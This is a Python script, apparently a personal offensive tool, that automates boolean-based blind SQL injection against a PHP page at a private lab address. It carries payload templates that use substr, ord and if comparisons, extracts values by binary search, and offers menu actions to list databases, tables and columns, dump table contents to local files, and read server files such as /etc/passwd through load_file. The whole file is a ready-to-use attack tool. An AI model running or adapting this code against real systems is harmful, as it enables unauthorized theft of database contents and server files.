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blind_inject_getdata.py
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/
blind_inject_getdata.py
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#! /usr/bin/env python
# -*- coding:utf-8 -*-
# author:flystart
# home:www.flystart.org
import requests
import sys
import binascii
from requests.adapters import HTTPAdapter
from time import time
url = "http://192.168.181.150/sqlinject.php"
success_flag = "liusai"
keys=list(r''' @ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{|}~!"#$%&'()*+,-./0123456789:;<=>?[\]^_`''')
bo = " and ord(substr((%query) from %index for 1))=%value"
b01 = " and 1=(if((ord(substr((%query) from %index for 1))>%value),1,0))"
blind_count = " and 1=(if(((%query)>%value),1,0))"
query = "(select %s from t_n limit %d,1)"
len_bounday = " and length(%query)=%value"
len_bounday2 = " and 1=(if((length(%query)>%value),1,0))"
boundary = b01
query_tab="(select %s from t_n where table_schema={db} limit %d,1)"
query_col="(select %s from t_n where table_schema={db} and table_name={table} limit %d,1)"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
}
proxies = {'http':'127.0.0.1:8080'}
inject_point = {'id':'2'}
conf ={'url':url,'method':'post','proxies':{},'inject':inject_point,'debug':False}
conf['proxies'] = proxies
req = requests.session()
req.headers = headers
req.mount('http://', HTTPAdapter(max_retries=3))
req.mount('https://', HTTPAdapter(max_retries=3))
req.proxies = conf['proxies']
def main():
print('Help info\nPlease provide your action:[get_current_user|get_current_db|get_dbs|get_tables|get_columns|read_file|dump|dump_all]')
print('main')
act = raw_input("Please raw_input your action:")
action(act)
def put_file_contents(filename,contents):
with open(filename,"a+") as fin:
fin.write(contents+"\n")
def action(act):
if act == 'get_current_user':
user = get_current_user()
print("current_user:"+user)
if act == 'get_current_db':
db = get_current_database()
print("current_db:" + db)
if act == 'get_dbs':
dbs = get_dbs()
print("all dbs is:",dbs)
if act == 'get_tables':
db = raw_input('please_db_name:')
tables = get_tables(db)
print("{0} tables".format(db),tables)
if act == 'get_columns':
db = raw_input('please_db_name:')
table = raw_input('please_table_name:')
cols = get_columns(db,table)
print(cols)
if act == 'dump':
db = raw_input('please_db_name:')
table = raw_input('please_table_name:')
col = raw_input('please_column_name:')
text = dump(db,table,col)
print(text)
if act == 'dump_all':
db = raw_input('please_db_name:')
dump_all(db)
if act == 'read_file':
filename = raw_input('please input filename:/etc/passwd:')
text = read_file(filename)
if text:
put_file_contents('down_file_con.txt',text +"{0}\n".format('*'*10))
print(text)
return
def find_success(flag,text):
text =str(text)
ret = False
if flag in text:
ret = True
return ret
def format_hex(str):
return "0x"+binascii.b2a_hex(str)
def get_current_database():
table_name = 'information_schema.schemata'
col_name = ["database()"]
database = get_values_by_double_blind(table_name,col_name,'0',query=query)
return database
def get_current_user():
table_name = 'information_schema.schemata'
col_name = ["user()"]
user= get_values_by_double_blind(table_name, col_name, '0', query=query)
return user
def read_file(filename):
file = 'load_file({0})'.format(format_hex(filename))
table_name = 'information_schema.schemata'
col_name = [file]
text = get_values_by_double_blind(table_name,col_name,'0',query=query)
return text
def get_dbs():
dbs = []
table_name = 'information_schema.schemata'
col_name = ["schema_name"]
cur_query = query
counts = get_counts(table_name, col_name,query=cur_query)
print("all tables counts is :%s" % counts)
for i in range(int(counts)):
db= get_values_by_double_blind(table_name, col_name, str(i),query=cur_query)
dbs.append(db)
print("Ent:" + db)
return dbs
def get_tables(db):
table_name = 'information_schema.tables'
col_name = ["table_name"]
cur_query = query_tab.replace("{db}", format_hex(db))
counts = get_counts(table_name, col_name,query=cur_query)
print("all tables counts is :%s" % counts)
tables = []
for i in range(int(counts)):
table = get_values_by_double_blind(table_name, col_name, str(i),query=cur_query)
tables.append(table)
print("Ent:" + table)
return tables
def get_columns(db,table):
table_name = 'information_schema.columns'
col_name = ["column_name"]
cur_query= query_col.replace("{db}", format_hex(db)).replace("{table}", format_hex(table))
counts = get_counts(table_name, col_name,query=cur_query)
print("all tables counts is :%s" % counts)
columns = []
for i in range(int(counts)):
col = get_values_by_double_blind(table_name, col_name, str(i),query =cur_query)
columns.append(col)
print("Ent:" + col)
return columns
def dump(db, table, col):
table_name = '{0}.{1}'.format(db, table)
col_name = ["{0}".format(col)]
cur_query = query
counts = get_counts(table_name, col_name,query = cur_query)
data = []
for i in range(int(counts)):
value = get_values_by_double_blind(table_name, col_name, str(i),query =cur_query)
info = ("Ent:{0}.{1}:{2}".format(table_name, col_name, value))
print(info)
put_file_contents('dump_data.txt',info)
data.append(value)
return data
def dump_all(db):
dbs = [db]
tables = []
cols = []
for db in dbs:
if not tables:
tables = get_tables(db)
print(tables)
for table in tables:
cols = get_columns(db,table)
print(cols)
for col in cols:
data = dump(db, table, col)
print(data)
data = '|'.join(data)
put_file_contents('dump_data.txt', data)
return
def get_counts(table_name,cols,i="0",query=query):
global boundary
cols= ["count(*)"]
counts = ''
orgin_boundary = boundary
boundary = blind_count
counts = double_search(table_name, cols, i, "", left_number=0, right_number=10,query =query)
boundary = orgin_boundary
print("CountsEnties:" + str(counts))
return counts
def get_length(table_name,cols,i=0,query =query): # limit i
global boundary
# boundary = len_query
boundary = len_bounday2
len_index = double_search(table_name, cols,i,"",left_number=0,right_number=10,query=query)
boundary = b01 # double_query get value
print('value len is:',len_index)
return len_index
def get_values_by_blind(table_name, col_name, in_limit='0', query =query):
len = get_length(table_name, col_name, in_limit)
cu_query = query
temp = ""
for i in range(1, len + 1):
for key in keys:
payload = get_payload(table_name, col_name, in_limit, str(i), str(ord(key)),query=cu_query)
global url
con_url = url + ' ' + payload
res = req.get(con_url)
if find_success(success_flag, res.text):
temp = temp + key
print(temp)
return temp
def send_data(payload):
ret = ''
param = {}
post_data = {}
inject_key = list(conf['inject'].keys())[0]
value = conf['inject'][inject_key]+payload
#param.update({inject_key:value})
post_data.update({inject_key:value})
method = conf['method']
url = conf['url']
if 'get' == method:
response = req.get(url,params=param)
if response.status_code == 200:
ret = response.content
if 'post' == method:
response = req.post(url,params =param,data = post_data)
if response.status_code == 200:
ret = response.content
if not ret:
print("send data not success!")
sys.exit(0)
return ret
def tamper(payload):
return payload
def get_payload(table_name,col_name,i="0",index="",value="",query =query): # (index,vaule) is used blind
cols = []
for col in col_name:
cols.append(col)
cat_str = cols[0]
payload = query.replace('t_n',table_name)
payload = payload.replace('%s', cat_str)
payload = payload.replace('%d', i)
payload = boundary.replace('%query', payload)
payload = payload.replace('%index', index)
payload = payload.replace('%value', value)
payload = ' '+ payload
if conf['debug']:
print(payload)
payload = tamper(payload)
return payload
def get_values_by_double_blind(table_name, col_name, in_limit='0', query =query):
cu_query = query
len = int(get_length(table_name, col_name, in_limit,cu_query))
text = ""
for i in range(1, len + 1):
value = double_search(table_name, col_name, in_limit, str(i),query=cu_query,left_number=0,right_number=96)
text = text + chr(value)
print("In program: " + text)
return text
def double_search(table_name, col_name, in_limit='0', index="", query =query,left_number=0, right_number=0):
while True:
payload = get_payload(table_name, col_name, in_limit, index, value=str(right_number), query=query)
text = send_data(payload)
if find_success(success_flag, text):
left_number = right_number
right_number = 2*right_number
else:
break
while left_number < right_number:
mid = int((left_number + right_number) / 2)
payload = get_payload(table_name,col_name,in_limit,index,value=str(mid),query =query)
text =send_data(payload)
if find_success(success_flag, text):
left_number = mid
else:
right_number = mid
if left_number == right_number - 1:
payload = get_payload(table_name, col_name, in_limit, index, value=str(mid), query=query)
text = send_data(payload)
if find_success(success_flag, text):
mid += 1
print('found')
break
else:
break
return mid
if __name__ == '__main__':
start_time = time()
main()
print('cost time:{0}'.format(time()-start_time))